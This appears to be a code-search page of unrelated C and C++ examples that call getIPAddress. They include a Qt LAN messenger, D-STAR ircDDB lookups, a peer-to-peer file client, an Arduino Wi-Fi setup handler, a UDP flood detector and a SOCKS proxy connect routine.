Exemplo n.º 1
0
/**
 * @brief Sets the IPAddress of Active network connection.
 * @param verbose   Self expanatory.
 * @return Returns true upon success.
 *  It first checks for already used interface, if it has, then use it and ignore all others.
 *  Then tries to get preferred active network interface from the network interface list.
 *  Upon success returns true, else false.
 */
bool wavrNetwork::getIPAddress(bool verbose) {
    // If an interface is already being used, get it. Ignore all others
    networkInterface = QNetworkInterface::interfaceFromName(interfaceName);
    if(networkInterface.isValid()) {
        QNetworkAddressEntry addressEntry;
        if(isInterfaceUp(&networkInterface) && getIPAddress(&networkInterface, &addressEntry)) {
            ipAddress = addressEntry.ip().toString();
            subnetMask = addressEntry.netmask().toString();
            return true;
        }
        ipAddress = QString::null;
        subnetMask = QString::null;
        return false;
    }

    // Currently, not using preferred connection, since using preferred connection is not
    // working properly.
    // Get the preferred interface name from settings if checking for the first time
    //if(szInterfaceName.isNull())
    //	szInterfaceName = pSettings->value(IDS_CONNECTION, IDS_CONNECTION_VAL).toString();

    //bool usePreferred = (szInterfaceName.compare(IDS_CONNECTION_VAL, Qt::CaseInsensitive) != 0);
    bool usePreferred = false;

    wavrTrace::write("Checking for active network interface...", verbose);

    //	get a list of all network interfaces available in the system
    QList<QNetworkInterface> allInterfaces = QNetworkInterface::allInterfaces();

    bool activeFound = false;

    //	return the preferred interface if it is active
    for(int index = 0; index < allInterfaces.count(); index++) {
        // Skip to the next interface if it is not the preferred one
        // Checked only if searching for the preferred adapter
        if(usePreferred && interfaceName.compare(allInterfaces[index].name()) != 0)
            continue;

        if(isInterfaceUp(&allInterfaces[index])) {
            activeFound = true;
             wavrTrace::write("Active network interface found: " + allInterfaces[index].humanReadableName(),
                verbose);
            QNetworkAddressEntry addressEntry;
            if(getIPAddress(&allInterfaces[index], &addressEntry)) {
                ipAddress = addressEntry.ip().toString();
                subnetMask = addressEntry.netmask().toString();
                networkInterface = allInterfaces[index];
                interfaceName = allInterfaces[index].name();
                return true;
            }
        }
    }

    wavrTrace::write(QString("Warning: ") + (activeFound ? "No IP address found" : "No active network interface found"),
        verbose);
    ipAddress = QString::null;
    subnetMask = QString::null;
    return false;
}
Exemplo n.º 2
0
bool IRCDDBApp::findRepeater(const wxString& rptrCall)
{

  if (rptrCall.StartsWith(wxT("XRF")) || rptrCall.StartsWith(wxT("REF")))
  {
    findReflector(rptrCall, d);
    return true;
  }

  wxString arearp_cs = rptrCall;
  arearp_cs.Replace(wxT(" "), wxT("_"));

  wxString zonerp_cs;

  wxMutexLocker lock(d->rptrMapMutex);
  
  wxString s = wxT("NONE");

  if (d->rptrMap.count(arearp_cs) == 1)
  {
    IRCDDBAppRptrObject o = d->rptrMap[arearp_cs];
    zonerp_cs = o.zonerp_cs;
    zonerp_cs.Replace(wxT("_"), wxT(" "));
    zonerp_cs.SetChar(7, wxT('G'));
    s = o.zonerp_cs;
  }

  IRCMessage * m2 = new IRCMessage(wxT("IDRT_REPEATER"));
  m2->addParam(rptrCall);
  m2->addParam(zonerp_cs);
  m2->addParam(getIPAddress(s));
  d->replyQ.putMessage(m2);

  return true;
}
Exemplo n.º 3
0
Server::Server(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::Server)
{
  ui->setupUi(this);

  // Check for SSL support.  If SSL support is not available, show a
  // message to the user describing what to do to enable SSL support.
  if (QSslSocket::supportsSsl())
  {
    ui->sslFilesGroupBox->setEnabled(true);
    ui->logTextEdit->setText(INVALID_FILE_MESSAGE);
  }
  else
  {
    QString noSslMsg = QString("%1\n%2")
        .arg("*** Your version of Qt does support SSL ***")
        .arg("You must obtain a version of Qt that has SSL"
             "support enabled.  If you believe that your "
             "version of Qt has SSL support enabeld, you may "
             "need to install the OpenSSL run-time libraries.");

    ui->logTextEdit->setText(noSslMsg);
  }

  connect(&server, SIGNAL(newConnection()), this, SLOT(acceptConnection()));
  
  QString ipa = getIPAddress();
  ui->label->setText(ui->label->text() + ipa);
  
}
char *getIpfromHost(char *hostName) {
    struct addrinfo *sockAddress = getAddressInfo(hostName, NULL);
    if (sockAddress == NULL)
        return "invalid hostname";
    char *ipAddress = getIPAddress(sockAddress->ai_addr);
    //printf("HostName: %s IpAddress: %s", hostName, ipAddress);
    return ipAddress;
}
Exemplo n.º 5
0
void* routeRecordMain(void* arg){

	randomValue = createLongRandomValue();
	char* gatewayIP = getIPAddress(INTERFACE);
	gatewayAddr = getInAddr(gatewayIP);

	initializeRRFilterList();

	struct nfq_handle* h = nfq_open();
	if (!h) {
		fprintf(stderr, "error during nfq_open()\n");
		exit(1);
	}

	printf("unbinding existing nf_queue handler for AF_INET (if any)\n");
	if (nfq_unbind_pf(h, AF_INET) < 0) {
		fprintf(stderr, "error during nfq_unbind_pf()\n");
		exit(1);
	}

	printf("binding nfnetlink_queue as nf_queue handler for AF_INET\n");
	if (nfq_bind_pf(h, AF_INET) < 0) {
		fprintf(stderr, "error during nfq_bind_pf()\n");
		exit(1);
	}

	//nfq_callback* cb = (nfq_callback*) calloc(1, sizeof(nfq_callback));
	printf("binding this socket to queue '0'\n");
	struct nfq_q_handle* qh = nfq_create_queue(h,  0, &cb, NULL);
	if (!qh) {
		fprintf(stderr, "error during nfq_create_queue()\n");
		exit(1);
	}

	printf("setting copy_packet mode\n");
	if (nfq_set_mode(qh, NFQNL_COPY_PACKET, 0xffff) < 0) {
		fprintf(stderr, "can't set packet_copy mode\n");
		exit(1);
	}
	int fd = nfq_fd(h);
	int rv = -1;
	char* buf = (char*) calloc(1, 100001);
	while ((rv = recv(fd, buf, 10000, 0)) >= 0) {
		printf("pkt received\n received: [%d]\n\n", rv);
		nfq_handle_packet(h, buf, rv);
	}

	printf("unbinding from queue 0\n");
	nfq_destroy_queue(qh);

	printf("closing library handle\n");
	nfq_close(h);

	pthread_exit(NULL);
}
Exemplo n.º 6
0
void NetworkThreadProc::initThread()
{
	m_IPAddress = getIPAddress();
	if (m_IPAddress.empty()) {
		m_IPAddress = DEFAULT_SERVER_IP;
	}

	m_networkState = NetworkThreadProc::NetworkStat_NotConnect;
	m_threadSend = std::thread(&NetworkThreadProc::sendThread, this);
	m_threadRecv = std::thread(&NetworkThreadProc::recvThread, this);
}
Exemplo n.º 7
0
bool IRCDDBApp::findGateway(const wxString& gwCall)
{
  wxString s = gwCall.Mid(0,6);

  IRCMessage * m2 = new IRCMessage(wxT( "IDRT_GATEWAY"));
  m2->addParam(gwCall);
  m2->addParam(getIPAddress(s));
  d->replyQ.putMessage(m2);

  return true;
}
Exemplo n.º 8
0
/**
 * @brief Initializes TcpNetwork and UdpNetwork class with port specified in XN_PORT.
 * @param pInitParams   wavrXmlMessage class.
 */
void wavrNetwork::init(wavrXmlMessage *pInitParams) {
    wavrTrace::write("Network Initialized");

    pSettings = new wavrSettings();
    isConnected = getIPAddress();

    wavrTrace::write("Network interface selected: " + (networkInterface.isValid() ? networkInterface.humanReadableName() : "None") +
                        "\nIP address obtained: " + (ipAddress.isEmpty() ? "NULL" : ipAddress) +
                        "\nSubnet mask obtained: " + (subnetMask.isEmpty() ? "NULL" : subnetMask) +
                        "\nConnection status: " + (isConnected ? "OK" : "Fail"));

    int port = pInitParams->data(XML_PORT).toInt();
    pUdpNetwork->init(port);
    pTcpNetwork->init(port);
}
Exemplo n.º 9
0
void printNetworkDetails(network_t *n) {

	char subnetMask[STRLEN] = "";
	char hostAddress[STRLEN] = "";
	char networkAddress[STRLEN] = "";
	char broadcastAddress[STRLEN] = "";
	char wildcardMask[STRLEN] = "";
	char lastUsable[STRLEN] = "";
	char firstUsable[STRLEN] = "";
	char secondUsable[STRLEN] = "";
	char thirdUsable[STRLEN] = "";
	int networkSize;
	int bitMask;

	getIPAddress(n, hostAddress, STRLEN);
	getSubnetMask(n, subnetMask, STRLEN);
	getNetworkAddress(n, networkAddress, STRLEN);
	getBroadcastAddress(n, broadcastAddress, STRLEN);
	getWildcardMask(n, wildcardMask, STRLEN);
	getLastUsable(n, lastUsable, STRLEN);
	getFirstUsable(n, firstUsable, STRLEN);
	getSecondUsable(n, secondUsable, STRLEN);
	getThirdUsable(n, thirdUsable, STRLEN);
	networkSize = getNetworkSize(n);
	bitMask = getBitmask(n);

	printf("\n");
	printf("Host address            - %s\n", hostAddress);
	printf("Network Address		- %s (%s/%d)\n", networkAddress, networkAddress, bitMask);
	printf("Subnet Mask		- %s\n", subnetMask);
	printf("Broadcast Address	- %s\n", broadcastAddress);
	printf("Wildcard Address	- %s\n", wildcardMask);
	printf("Network Prefix (CIDR)	- /%d\n", bitMask);
	printf("Network Range		- %s - %s (%d Addresses)\n", networkAddress, broadcastAddress, networkSize+2);
	printf("Usable Range		- %s - %s (%d Usable Hosts)\n", firstUsable, lastUsable,networkSize);
	printf("\n");
	printf("A IP			- %s\n", firstUsable);
	printf("B IP			- %s\n", secondUsable);
	printf("C IP			- %s\n", thirdUsable);
	printf("GW IP			- %s\n", lastUsable);
	printf("\n");

	// Provisioning Assistance:

}
Exemplo n.º 10
0
bool NetworkThreadProc::connectToServer()
{
	if (m_networkState == NetworkStat_Connected)
		return true;

    //如果只在network init时初始化会出现问题:
    //断开vpn时,解析出错误的链接不上,当连上vpn后再链接server,如果这里没有重新获取ip,则依然连接不上
    m_IPAddress = getIPAddress();
    if (m_IPAddress.empty()) {
        m_IPAddress = DEFAULT_SERVER_IP;
    }
    
	if (m_socket.Init() == -1)
	{
		CCLOG("%s ---> init error", __FUNCTION__);
		return false;
	}
	if (! m_socket.Create(AF_INET,SOCK_STREAM,0))
	{
		CCLOG("%s ---> create error, err code = %d", __FUNCTION__, m_socket.GetError());
		return false;
	}
	if (! m_socket.Connect(m_IPAddress.c_str(), DEFAULT_SERVER_PORT))
	{
		CCLOG("%s ---> connect error [%s-%d], err code = %d", __FUNCTION__, m_IPAddress.c_str(), DEFAULT_SERVER_PORT, m_socket.GetError());
		closeConnection();
		return false;
	}
	CCLOG("%s ---> connect seccess [%s-%d]", __FUNCTION__, m_IPAddress.c_str(), DEFAULT_SERVER_PORT);

	//设置状态
	m_networkState = NetworkStat_Connected;

	// 设置超时
	m_socket.SetRecvTimeOut(RECV_TIME_OUT);
	m_socket.SetSendTimeOut(SEND_TIME_OUT);

	return true;
}
Exemplo n.º 11
0
/**
 * Creates the server component of the RCC. Spawns listening thread and
 * worker threads.
 */
int createServer(int port)
{
	int *listenfd;		// The fd we are listening on
	WSADATA wsaData;	// Things for winsock setup
	WORD version;

	/* Initialize the Windows socket interface */
	version = MAKEWORD(2, 0);
	if (WSAStartup(version, &wsaData) != 0) {
		Error("WSAStartup error");
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 0) {
		WSACleanup();
		Error("WSAStartup error");
	}

	/* Get and store the local IP address */
	getIPAddress();

	listenfd = Malloc(sizeof(int));

	/* Open a port to listen on */
	if ((*listenfd = openListenFD(port)) < 0) {
		return (-1);
	}

	/* Create incoming connection handler */
	makeThread(&incomingHandler, listenfd);

	if (verbose) {
		printf("T00: Server initialized on port %d\n", port);
	}

	/* Success */
	return (0);
}
Exemplo n.º 12
0
/**
 * @brief Checks for local Connection every 2 sec.
 *  If isNotConnected or broken then tries to reconnect and sets the respective multicastInterface for UdpNetwork class and IPAddresses for TcpNetwork and UdpNetwork class.
 *  Upon success, emits the connectionStateChanged signal.
 */
void wavrNetwork::timer_timeout(void) {
    bool prev = isConnected;
    isConnected = getIPAddress(false);

    if(prev != isConnected) {
        wavrTrace::write("Network interface selected: " + (networkInterface.isValid() ? networkInterface.humanReadableName() : "None") +
                    "\nIP address obtained: " + (ipAddress.isEmpty() ? "NULL" : ipAddress) +
                    "\nSubnet mask obtained: " + (subnetMask.isEmpty() ? "NULL" : subnetMask) +
                    "\nConnection status: " + (isConnected ? "OK" : "Fail"));

        if(isConnected) {
            pUdpNetwork->setMulticastInterface(networkInterface);
            pUdpNetwork->setIPAddress(ipAddress, subnetMask);
            pUdpNetwork->start();
            pTcpNetwork->setIPAddress(ipAddress);
            pTcpNetwork->start();
            canReceive = pUdpNetwork->canReceive;
        } else {
            pUdpNetwork->stop();
            pTcpNetwork->stop();
        }
        emit connectionStateChanged();
    }
}
Exemplo n.º 13
0
int runClient(char *port) {
    char *name = "Client";

    //initialize masterServer, peerList and hostlist
    peerList = NULL;
    connectionList = NULL;
    connectionIdGenerator = 2; //1 is received for the server
    masterServer = NULL;

    int listernerSockfd = -1;
    struct connectionInfo *serverInfo = startServer(port, "CLIENT");
    if (serverInfo == NULL) {
        fprintf(stderr, "Did not get serverInfo from startServer()\n");
        return -1;
    }
    listernerSockfd = serverInfo->listernerSockfd;

    int STDIN = 0; //0 represents STDIN

    FD_ZERO(&masterFDList); // clear the master and temp sets
    FD_ZERO(&tempFDList);

    FD_SET(STDIN, &masterFDList); // add STDIN to master FD list
    fdmax = STDIN;

    FD_SET(listernerSockfd, &masterFDList); //add the listener to master FD list and update fdmax
    if (listernerSockfd > fdmax)
        fdmax = listernerSockfd;


    int actionComplete = 1;
    while (1) //keep waiting for input, connections and data
    {

        //this is ti identify is an activity is in progress
        if (actionComplete == 1) {
            printf("$");
            fflush(stdout); //print the terminal symbol
        }
        actionComplete = 1;

        tempFDList = masterFDList; //make a copy of masterFDList and use it as select() modifies the list

        //int select(int numfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);
        if (select(fdmax + 1, &tempFDList, NULL, NULL, NULL) ==
                -1) //select waits till it gets data in an fd in the list
        {
            fprintf(stderr, "Error in select\n");
            return -1;
        }

        // an FD has data so iterate through the list to find the fd with data
        int fd;
        for (fd = 0; fd <= 20; fd++) {
            if (FD_ISSET(fd, &tempFDList)) //found the FD with data
            {
                if (fd == STDIN) //data from commandLine(STDIN)
                {
                    size_t commandLength = 50;
                    char *command = (char *) malloc(commandLength);
                    getline(&command, &commandLength, stdin); //get line the variable if space is not sufficient
                    if (stringEquals(command, "\n")) //to handle the stray \n s
                        continue;
                    //printf("--Got data: %s--\n",command);
                    handleCommands(command, "CLIENT");
                }
                else if (fd == listernerSockfd) //new client trying to connect to listener
                {

                    struct sockaddr_storage clientaddr;
                    socklen_t addrlen = sizeof clientaddr;
                    int clientsockfd;
                    if ((clientsockfd = accept(listernerSockfd, (struct sockaddr *) &clientaddr, &addrlen)) == -1) {
                        fprintf(stderr, "Error accepting connection: %d %s\n", clientsockfd,
                                gai_strerror(clientsockfd));
                        return -1;
                    }
                    else {
                        //accept connection from client add it to the connectionList
                        struct host *client = (struct host *) malloc(sizeof(struct host));
                        struct sockaddr *hostAddress = (struct sockaddr *) &clientaddr;
                        client->id = connectionIdGenerator++;
                        client->sockfd = clientsockfd;
                        client->ipAddress = getIPAddress(hostAddress);
                        client->hostName = getHostFromIp(client->ipAddress);
                        client->port = getPort(hostAddress);
                        addNode(&connectionList, client);
                        FD_SET(client->sockfd, &masterFDList); // add fd to fdlist
                        if (client->sockfd > fdmax)
                            fdmax = client->sockfd;
                        printf("Accepted client: %s/%s.\n", client->hostName, client->port);

                    }

                }
                else if (masterServer != NULL && fd == masterServer->sockfd)// handle data from server
                {

                    struct packet *recvPacket = readPacket(fd);
                    if (recvPacket == NULL) {
                        printf("Master Server has terminated unexpectedly.\n");
                        int connectionId = getIDForFD(connectionList, fd);
                        terminateConnection(connectionId);
                        masterServer = NULL;
                        peerList = NULL;
                        continue;
                    }

//                    printf("Received packet: ");
//                    printPacket(recvPacket);
//                    printf("\n");

                    //received terminate from server
                    if (recvPacket->header->messageType == terminate) {
                        printf("Received TERMINATE command from server.\n");
                        int connectionId = getIDForFD(connectionList, fd);
                        terminateConnection(connectionId);
                        peerList = NULL;
                        masterServer = NULL;
                        continue;
                    }

                    if (recvPacket->header->messageType == hostList) {
                        //split the hostlist
                        int length = 0;
                        char **hostinfo = splitString(recvPacket->message, ' ', &length);
                        free(peerList);
                        peerList = NULL; //destroy the old peerList
                        int i;
                        for (i = 0; i < length; i = i + 2) {
                            if (i + 1 >= length)
                                fprintf(stderr, "Disproportionate terms in hostList sent by server.\n");

                            if (stringEquals(myIpAddress, hostinfo[i]) && stringEquals(myListenerPort, port)) {
                                //this is so that the client doesn't add itself in the peerList
                                continue;
                            }
                            //add all nodes
                            struct host *peer = (struct host *) malloc(sizeof(struct host));
                            peer->sockfd = -1; // we do not have a connection with it yet
                            peer->ipAddress = hostinfo[i];
                            peer->hostName = getHostFromIp(peer->ipAddress);
                            peer->port = hostinfo[i + 1];
                            addNode(&peerList, peer);
                        }
                        printf("New peerList received from server:\n");
                        printPeerList(peerList);
                        continue;
                    }

                    if (recvPacket->header->messageType == syncFiles) {
                        printf("Received a sync initiate request from Server.\n");
                        syncHostnameFiles();
                        continue;
                    }

                }
                else {

                    //handle data from the peers
                    struct packet *recvPacket = readPacket(fd);
                    if (recvPacket == NULL) {
                        //one of the clients terminated unexpectedly
                        int id = getIDForFD(connectionList, fd);
                        struct host *host = getHostByID(connectionList, id);
                        printf("%s/%s terminated unexpectedly. Removing it from the list.\n",
                               host->hostName, host->port, host->sockfd);
                        terminateConnection(id);
                        continue;
                    }
//                    printf("Received packet: ");
//                    printPacket(recvPacket);
//                    printf("\n");

                    //received terminate
                    if (recvPacket->header->messageType == terminate) {
                        int id = getIDForFD(connectionList, fd);
                        struct host *source = getHostByID(connectionList, id);
                        printf("Received TERMINATE command from %s/%s. Removing it.\n", source->hostName, source->port);
                        terminateConnection(id);
                        continue;
                    }//handle error message
                    else if (recvPacket->header->messageType == error) {
                        printf("Received error message: %s\n", recvPacket->message);
                        continue;
                    }//handle get request
                    else if (recvPacket->header->messageType == get) {
                        int connectionId = getIDForFD(connectionList, fd);
                        struct host *destination = getHostByID(connectionList, connectionId);
                        if (destination == NULL) {
                            fprintf(stderr, "Coudn't find the connection id.\n");
                            continue;
                        }
                        printf("Received a get request for file %s from client: %s/%s.\n",
                               recvPacket->header->fileName, destination->hostName, destination->port);
                        sendFile(connectionId, recvPacket->header->fileName);
                    }//hand a put packet
                    else if (recvPacket->header->messageType == put) {
                        int connectionId = getIDForFD(connectionList, fd);
                        receiveFileAsynchronously(connectionId, recvPacket);
                        actionComplete = 0; //action is not complete until a ok packet is received
                        continue;
                    }//handle a ok packet
                    else if (recvPacket->header->messageType == ok) {
                        int connectionId = getIDForFD(connectionList, fd);
                        okPacketHandler(connectionId, recvPacket);
                        actionComplete = 1; // activity completed
                        continue;
                    }

                }
            }
        }
    }
}
/* This will process library data. It will return true, if nothing was processing -> the data are for the sketch, otherwise, it returns false, so the data are processed here
 * and nothing should be processed by the sketch.
 */
boolean RemoteHomeWifi::processCommonData() {
    if (stringComplete) {
        if (inputString.startsWith(" ")) {
            //wifi config
            createTableWithForm(WIFI_CONFIG, WIFI_CONFIG_ACTION);
            char* netName = getNetworkName();
            createTextBoxTableRow(CAPTION_WIFI_SSID, ACTION_S, netName, MAXSIZE_32);
            free(netName);
            createTextBoxTableRow(CAPTION_WIFI_PWD, ACTION_P, "", MAXSIZE_64);
            createTextBoxTableRow(CAPTION_WIFI_IP, ACTION_I, "", MAXSIZE_15);
            createSubmitButton();
            endTableWithForm();
        } else if (inputString.startsWith("ca")) {
            //device config
            createTableWithForm(DEVICE_CONFIG, DEVICE_CONFIG_ACTION);
            char* ip = readIpAddrFromEEPROM(EEPROM_POSITION_SERVER_IP);
            createTextBoxTableRow(CAPTION_SERVER_IP, ACTION_S, ip, MAXSIZE_15);
            free(ip);
            createTextBoxTableRow(CAPTION_SERVER_PORT, ACTION_P, readIntFromEEPROM(EEPROM_POSITION_SERVER_PORT), MAXSIZE_5);
            createTextBoxTableRow(CAPTION_PGM_PORT, ACTION_R, readIntFromEEPROM(EEPROM_POSITION_SERVER_PROGPORT), MAXSIZE_5);            
            createTextBoxTableRow(CAPTION_DEVICE_ID, ACTION_D, readByteFromEEPROM(EEPROM_POSITION_NODE_ID), MAXSIZE_4);            
            if (0 != fpAppendConfigTable) (*fpAppendConfigTable)();
            createSubmitButton();
            endTableWithForm();
        } else if (inputString.startsWith("cb")) {
            //sketch upload
            pageHeadString = F("<meta http-equiv='refresh' content=\"60;URL='/'\"/>");
            outputString = F("<p>Programming, the page is going to reload after 1 min.</p>");
            sendPageWithMenuAndHeaderResponse();
            delay(30);
            cleanVariablesAfterProcessing();
            if (establishConnectionToServer(true, EEPROM_POSITION_SERVER_IP, EEPROM_POSITION_SERVER_PROGPORT)) {
                delay(10);
                _ser.print((byte)1);
                if (!_ser.find("a")) {
                    setup();
                }               
            }
        } else if (inputString.startsWith("cc")) {
                //it is join network request cc?s=SSID&p=Password&i=192.168.1.30 HTTP/1.1
                skipInputToChar('=');
                String ssid = inputString.substring(0,inputString.indexOf('&'));
                skipInputToChar('=');
                String password = inputString.substring(0,inputString.indexOf('&'));
                skipInputToChar('=');
                String ip = inputString.substring(0,inputString.indexOf(' '));
                pageHeadString = F("<meta http-equiv='refresh' content=\"25;URL='");
                if (ip.length() != 0) {
                    pageHeadString += F("http://");
                    pageHeadString += ip;
                    pageHeadString += F("/");
                }
                pageHeadString += F("cd'\"/>");
                outputString = F("<p>Connecting, please wait, the result is going to be displayed within 25 seconds...</p>");
                sendPageWithMenuAndHeaderResponse();
                if (!joinNetwork(ssid, password, ip)) {
                    becomeAdHocNetwork();
                    listenOnPort();
                    connectedToWifi = false;
                }
                cleanVariablesAfterProcessing();
        } else if (inputString.startsWith("cd")) {
                if (waitToConnectToNetwork(1)) {
                    outputString = F("<p>Connected:<b>");
                    outputString += getIPAddress();
                    outputString += F("</b><BR>Please reserve the IP in your router.</p>");
                    sendPageWithMenuAndHeaderResponse();
                    delay(1000);
                    setSingleJoinNetwork();
                    outputString = "";
                } else {
                    outputString = F("<p>Not connected, please try again.</p>");
                }
        } else if (inputString.startsWith("ce")) {
            //it is configure device: ce?s=192.168.1.2&p=8080&r=8081&d=1&e=0 HTTP/1.1
            saveIpAddrToEEPROM(EEPROM_POSITION_SERVER_IP);
            saveIntToEEPROM(EEPROM_POSITION_SERVER_PORT);
            saveIntToEEPROM(EEPROM_POSITION_SERVER_PROGPORT);
            saveByteToEEPROM(EEPROM_POSITION_NODE_ID);
            nodeId = EEPROM.read(EEPROM_POSITION_NODE_ID);
            if (0 != fpSaveConfigValues) (*fpSaveConfigValues)();
            outputString = F("<p>Configured.</p>");
        } else {
            return true;
        }
        if (outputString.length()!=0) {
            sendPageWithMenuAndHeaderResponse();
        }
        cleanVariablesAfterProcessing();
        return false;                                
    }
    return true;
}
Exemplo n.º 15
0
int main(int argc, char* argv[]){

	if(argc > 1){
		printf("Arg detected\n");
	}
	char* hostIP = getIPAddress(INTERFACE);

	printf("Host Interface (%s) Address: [%s]\n", INTERFACE, hostIP);


	//Part of this is Recycled/Modified Code from cs4516
	printf("Elevation Handler Started.\n");
	int packet_socket = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL));
	printf("FD: [%d]\n", packet_socket);
	if(packet_socket == -1){
		printf("Error [%s]\n", strerror(errno));
		exit(1);
	}
	struct sockaddr_ll saddr;
	unsigned int interface = if_nametoindex(INTERFACE);
	printf("IF: [%u]\n", interface);
	if(interface == 0){
		printf("Interface not found./n");
		exit(1);
	}

	saddr.sll_protocol = htons(ETH_P_ALL);
	saddr.sll_ifindex = interface;
 	saddr.sll_family = AF_PACKET;
	

	int bindInt = bind(packet_socket, (struct sockaddr*) &saddr, sizeof(saddr));
	printf("BIND: [%d]\n", bindInt);
	if(bindInt == -1){
		printf("Error [%s]\n", strerror(errno));
		exit(1);
	}

	char buffer[2000];
	AttackList* attackList = NULL;
	while(1){
		int count = recv(packet_socket, buffer, 1500, 0);
		buffer[count] = '\n';
		buffer[count + 1] = '\0';
		char srcIP[33];
		inet_ntop(AF_INET, buffer+12, srcIP, INET_ADDRSTRLEN);
		srcIP[32] = '\0';
		char destIP[33];
		inet_ntop(AF_INET, buffer+16, destIP, INET_ADDRSTRLEN);
		destIP[32] = '\0';

		int protocol = (int) buffer[9];
		if(protocol == 17 && strcmp(hostIP, destIP) == 0){
			AttackList** entry = (AttackList**) calloc(sizeof(AttackList*), 1);
			attackList = updateAttackCount(attackList, srcIP, entry);
			
			printf("UDP Packet Size: [%d]\n", count);
			printf("UDP Packet Src: [%s]\n", srcIP);
			printf("UDP Packet Dest: [%s]\n", destIP);
			printf("Attack Count: [%d]\n\n", (*entry)->count);

			if((*entry)->count > ATTACK_COUNT_THRESHOLD){
				printf("Attack Threshold Met for [%s] - Reporting and resetting!\n\n", srcIP);

				//Complain to Victim Gateway Here
				//Create Flow struct based on received Route Record first
				//TODO below: temporary implementation
				RouteRecord* tempRR = readRouteRecord(buffer + 20);

				struct in_addr* victimAddr = getInAddr(destIP);
				struct in_addr* attackerAddr = getInAddr(srcIP);

				Flow* flow = createFlowStruct(victimAddr, attackerAddr, tempRR, createNonce(victimAddr, attackerAddr), 0, AITF_BLOCKING_REQUEST);

				sendFlow(VICTIM_GATEWAY_IP, TCP_SENDING_PORT, flow);
				//Wait T-temp here
				waitMilliseconds(T_TEMP);
				(*entry)->count = 0;
			}
		}
	}
}
Exemplo n.º 16
0
int connectViaSocksProxy( INOUT STREAM *stream )
	{
	MESSAGE_DATA msgData;
	BYTE socksBuffer[ 64 + CRYPT_MAX_TEXTSIZE + 8 ], *bufPtr = socksBuffer;
	char userName[ CRYPT_MAX_TEXTSIZE + 8 ];
	int length, status;

	assert( isWritePtr( stream, sizeof( STREAM ) ) );

	REQUIRES_S( stream->type == STREAM_TYPE_NETWORK );

	/* Get the SOCKS user name, defaulting to "cryptlib" if there's none
	   set */
	setMessageData( &msgData, userName, CRYPT_MAX_TEXTSIZE );
	status = krnlSendMessage( DEFAULTUSER_OBJECT_HANDLE,
							  IMESSAGE_GETATTRIBUTE_S, &msgData,
							  CRYPT_OPTION_NET_SOCKS_USERNAME );
	if( cryptStatusOK( status ) )
		userName[ msgData.length ] = '\0';
	else
		strlcpy_s( userName, CRYPT_MAX_TEXTSIZE, "cryptlib" );

	/* Build up the SOCKSv4 request string:

		BYTE: version = 4
		BYTE: command = 1 (connect)
		WORD: port
		LONG: IP address
		STRING: userName + '\0'

	   Note that this has a potential problem in that it requires a DNS 
	   lookup by the client, which can lead to problems if the client
	   can't get DNS requests out because only SOCKSified access is allowed.
	   A related problem occurs when SOCKS is being used as a tunnelling
	   interface because the DNS lookup will communicate data about the 
	   client to an observer outside the tunnel.

	   To work around this there's a so-called SOCKSv4a protocol that has 
	   the SOCKS proxy perform the lookup:

		BYTE: version = 4
		BYTE: command = 1 (connect)
		WORD: port
		LONG: IP address = 0x00 0x00 0x00 0xFF
		STRING: userName + '\0'
		STRING: FQDN + '\0'

	   Unfortunately there's no way to tell whether a SOCKS server supports
	   4a or only 4, but in any case since SOCKS support is currently 
	   disabled we leave the poke-and-hope 4a detection until such time as
	   someone actually requests it */
	*bufPtr++ = 4; *bufPtr++ = 1;
	mputWord( bufPtr, netStream->port );
	status = getIPAddress( stream, bufPtr, netStream->host );
	strlcpy_s( bufPtr + 4, CRYPT_MAX_TEXTSIZE, userName );
	length = 1 + 1 + 2 + 4 + strlen( userName ) + 1;
	if( cryptStatusError( status ) )
		{
		netStream->transportDisconnectFunction( stream, TRUE );
		return( status );
		}

	/* Send the data to the server and read back the reply */
	status = netStream->transportWriteFunction( stream, socksBuffer, length,
												TRANSPORT_FLAG_FLUSH );
	if( cryptStatusOK( status ) )
		status = netStream->transportReadFunction( stream, socksBuffer, 8,
												   TRANSPORT_FLAG_BLOCKING );
	if( cryptStatusError( status ) )
		{
		/* The involvement of a proxy complicates matters somewhat because
		   we can usually connect to the proxy OK but may run into problems
		   going from the proxy to the remote server, so if we get an error
		   at this stage (which will typically show up as a read error from
		   the proxy) we report it as an open error instead */
		if( status == CRYPT_ERROR_READ || status == CRYPT_ERROR_COMPLETE )
			status = CRYPT_ERROR_OPEN;
		netStream->transportDisconnectFunction( stream, TRUE );
		return( status );
		}

	/* Make sure that everything is OK:

		BYTE: null = 0
		BYTE: status = 90 (OK)
		WORD: port
		LONG: IP address */
	if( socksBuffer[ 1 ] != 90 )
		{
		int i;

		netStream->transportDisconnectFunction( stream, TRUE );
		strlcpy_s( netStream->errorInfo->errorString, MAX_ERRMSG_SIZE, 
				   "Socks proxy returned" );
		for( i = 0; i < 8; i++ )
			{
			sprintf_s( netStream->errorInfo->errorString + 20 + ( i * 3 ),
					   MAX_ERRMSG_SIZE - ( 20 + ( i * 3 ) ), " %02X", 
					   socksBuffer[ i ] );
			}
		strlcat_s( netStream->errorInfo->errorString, MAX_ERRMSG_SIZE, "." );
		netStream->errorCode = socksBuffer[ 1 ];
		return( CRYPT_ERROR_OPEN );
		}

	return( CRYPT_OK );
	}
Exemplo n.º 17
0
void IRCDDBApp::doUpdate ( wxString& msg )
{
    int tableID = 0;

    wxStringTokenizer tkz(msg);

    if (!tkz.HasMoreTokens()) 
    {
      return;  // no text in message
    }

    wxString tk = tkz.GetNextToken();


    if (d->tablePattern.Matches(tk))
    {
      long i;

      if (tk.ToLong(&i))
      {
	tableID = i;
	if ((tableID < 0) || (tableID >= numberOfTables))
	{
	  wxLogVerbose(wxT("invalid table ID %d"), tableID);
	  return;
	}
      }
      else
      {
	return; // not a valid number
      }

      if (!tkz.HasMoreTokens()) 
      {
	return;  // received nothing but the tableID
      }

      tk = tkz.GetNextToken();
    }

    if (d->datePattern.Matches(tk))
    {
      if (!tkz.HasMoreTokens()) 
      {
	return;  // nothing after date string
      }

      wxString timeToken = tkz.GetNextToken();

      if (! d->timePattern.Matches(timeToken))
      {
	return; // no time string after date string
      }

      wxDateTime dt;

      if (dt.ParseFormat(tk + wxT(" ") + timeToken, wxT("%Y-%m-%d %H:%M:%S")) == NULL)
      {
	return; // date+time parsing failed
      }

      if ((tableID == 0) || (tableID == 1))
      {
